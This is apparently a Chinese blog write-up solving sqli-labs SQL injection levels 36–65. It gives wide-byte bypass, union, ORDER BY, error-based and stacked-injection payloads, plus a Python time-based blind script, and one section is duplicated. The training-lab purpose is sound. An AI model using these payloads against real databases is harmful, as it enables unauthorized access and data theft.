sql注入好像又是搁置比较久了,一共65关今天将剩下的几关做完了记一下解题过程
less-36
添加单引号登录成功,根据下面提示可知其中单引号被过滤
既然单引号被过滤了,第一反应是宽字节绕过直接上payload
配合联合查询暴库名
?id=-1%E6' union select 1,version(),database() --+
源码使用了mysql_real_escape_string函数进行了转义,和前面类似。
less-37
这题很简单,上题是get型,这题是post型
只是稍许不同的是这里通过表单提交会把内容进行url编码
还有一个小细节是字段数不同,上题三个字段,这里只有两个字段
这里通过抓包将内容改成
1%E6' union select null,database()#
放包从而得到库名security
less-38----45
这一系列的都是堆叠注入
我还在尝试,怎么直接爆出库名来了,上网查了一下是要让我们学习堆叠注入
这里用的懒人网址做的就做不了堆叠注入,个人理解就是加个分号执行另一个语句
那就介绍一下这个函数(图中我写了注释)
mysqli_multi_query(connection,query)
less-46
一般的注入分为三类,注入查询字符串,注入查询数字数据以及注入查询结构,比如这里就是第三种
所以这里不能使用之前的方法进行注入,至于如何进行order by的注入,先使用这个语句来查询看看会有什么效果
输入1和2
发现列表排序的结果不一样,也就是说更改输入的数据会影响结果的顺序,则说明输入可能被插入到order by 子句中。
但是怎么去确定能否去注入其他语句?
分别在语句后输入 asc --+和desc --+如果结果不同就说明可以注入其他sql,而这里是不同的
可以归于报错注入一类,所以其中一个方法是根据报错注入的方法用and连接符注入
?sort=1 and (updatexml(1,concat(0x7e,(select database())),0));
还有一种是盲注的方式
less-47
和上关相同,只是现在的查询语句中的id含有单引号
less-48
这里只是基于盲注的结构化注入,直接使用python脚本暴库长和库名
import requests
import string
url = "http://43.247.91.228:84/Less-49/"
def iftimeout(url):
try:
res = requests.get(url,timeout=3)
return res.text
except Exception as e:
return "timeout"
dbnamelen = 0
while True:
dbnamelen+=1
dbnamelen_url = url+"?sort=1'+and+if(length(database())="+str(dbnamelen)+",sleep(5),1)--+"
print(dbnamelen_url)
if "timeout" in iftimeout(dbnamelen_url):
print("库长:",dbnamelen)
break
dbname=""
for i in range(1,9):
for j in string.ascii_lowercase:
dbname_url=url+"?sort=1'+and+if(substr(database(),"+str(i)+",1)='"+j+"',sleep(5),1)--+"
print(dbname_url)
if "timeout" in iftimeout(dbname_url):
dbname+=j
print("库名:",dbname)
break
less-50
这里又到了之前的堆叠注入,这里是结构化注入和堆叠注入的组合
但是原理一样,只需要在结构化注入也就是?sort=1后加分号执行其他的语句比如create
less-51
不同于less-50的在这里是基于单引号
less-52-53
分别是前两关的盲注类型但是不影响注入方式
less-54
要求:
挑战的目的是在少于10次尝试中仅从数据库中的随机表(“挑战”)中转储(秘密密钥)
为了好玩,每次重置时,质询都会生成随机的表名,列名和表数据。 始终保持新鲜。
判断注入类型
是基于单引号的字符型注入
暴版本和库名
因为有回显,使用联合查询
-1' union select null,version(),database() --+
此时库名是challenges,回显字段是二三字段,根据库名暴表名
暴表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
得到表名为MJHGFJ59RM
暴列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='MJHGFJ59RM' --+
暴出四个列名,注意这里要把列名放在第三个字段,放在第二个字段不会显示。
暴字段值
?id=-1' union select 1,2,group_concat(secret_66WW) from challenges.MJHGFJ59RM --+
得到密码
less-55
只是查询的id字符由 ‘id’ 改为(id)其他都一样
less-56
一样的套路 (‘id’)
less-57
这里变成了“id”而已
less-58–61
这种形式很明显就要用报错注入了
可以根据updatexml() 或者 extractvalue()函数
extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)
前面也有许多报错注入,都一样这里就免了
后面三关分别基于数字型、("")以及(())
less-58–61
这种形式很明显就要用报错注入了
可以根据updatexml() 或者 extractvalue()函数
extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)
前面也有许多报错注入,都一样这里就免了
后面三关分别基于数字型、("")以及(())
less-62–65
这几题都是输入参数无报错无回显,盲注类型,构造payload先判断一下这四题注入类型
也并没有进行什么过滤,直接使用延时注入可以根据前面的python脚本暴库名,不多说
总结
(这些关好像和前四十关的解题没有太多不同)
1.基于结构化的order by注入
2.堆叠注入
3.这里的挑战也没有进行任何过滤,只需要常规注入手法就能拿到数据